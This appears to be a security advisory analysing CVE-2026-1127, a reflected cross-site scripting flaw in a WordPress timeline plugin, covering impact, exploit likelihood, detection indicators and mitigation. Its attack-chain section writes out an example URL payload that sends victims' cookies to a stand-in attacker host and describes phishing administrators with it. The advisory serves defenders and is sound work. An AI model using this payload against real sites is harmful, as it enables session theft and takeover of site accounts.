CVE-2026-1127: 
WordPress vulnerability analysis and mitigation

CVE-2026-1127 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Timeline Event History plugin for WordPress, affecting all versions up to and including 3.2. The flaw exists in the id parameter due to insufficient input sanitization and output escaping, allowing unauthenticated attackers to inject arbitrary web scripts. It was published on January 24, 2026, and reported by Wordfence. The vulnerability carries a CVSS v3.1 base score of 6.1 (Medium) (Wordfence, NVD).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting) and stems from the plugin's failure to sanitize user-supplied input in the id parameter before reflecting it in the page output. The vulnerable code is located in includes/admin/class-timeline-wp-field-builder.php at line 540 of the plugin's version 3.2 source tree. Exploitation requires no authentication and no special privileges, but does require user interaction — specifically, a victim must be tricked into clicking a crafted link that triggers the malicious script execution in their browser context (Wordfence, WordPress Trac).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session cookie theft, credential harvesting, redirection to malicious sites, or defacement of page content as rendered to the victim. The CVSS scope is marked as Changed, indicating the impact extends beyond the vulnerable component itself, with low confidentiality and low integrity impact (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-1127 as of the available data. The EPSS score is approximately 0.074%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires social engineering to deliver a crafted URL to a target user, which limits opportunistic mass exploitation (Wordfence).

1. Reconnaissance: Identify WordPress sites running the Timeline Event History plugin version 3.2 or earlier using tools like WPScan or by inspecting publicly accessible plugin metadata.
2. Craft malicious URL: Construct a URL targeting the vulnerable endpoint that includes a malicious payload in the id parameter, e.g., https://target-site.com/wp-admin/admin.php?page=timeline-event-history&id=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
3. Deliver the link: Send the crafted URL to a target user (e.g., a WordPress administrator) via phishing email, social media message, or other social engineering vector.
4. Script execution: When the victim clicks the link and loads the page, the unsanitized id parameter is reflected in the HTML response, causing the injected script to execute in the victim's browser.
5. Achieve objective: The attacker collects session cookies, credentials, or performs other browser-based actions on behalf of the victim, potentially gaining elevated access to the WordPress site (Wordfence, WordPress Trac).

• Network: HTTP requests to WordPress admin or frontend pages containing script tags or URL-encoded XSS payloads (e.g., %3Cscript%3E, javascript:) in the id parameter; outbound requests from victim browsers to unknown external domains shortly after page load.
• Logs: Web server access logs showing GET requests with suspicious characters or encoded payloads in the id query parameter targeting Timeline Event History plugin pages.
• Browser/Session: Unexpected session termination or re-authentication prompts for WordPress users; reports from users of being redirected to unfamiliar external sites after clicking internal links.

Users should update the Timeline Event History plugin to a version beyond 3.2 that includes a fix for this vulnerability, once a patched release is made available by the plugin developer (wpdiscover). In the interim, site administrators should consider deactivating or removing the plugin entirely if it is not critical to site operations. Implementing a Web Application Firewall (WAF) — such as those offered by Wordfence or Cloudflare — can help detect and block reflected XSS payloads targeting this parameter (Wordfence).

The vulnerability was discovered and reported by Wordfence, which published the advisory on January 24, 2026. It received routine coverage from vulnerability aggregation platforms including VulDB, Vulners, and CIRCL, as well as a brief mention on Bluesky via automated CVE tracking accounts. No significant researcher commentary or broader media coverage has been identified beyond standard vulnerability database syndication.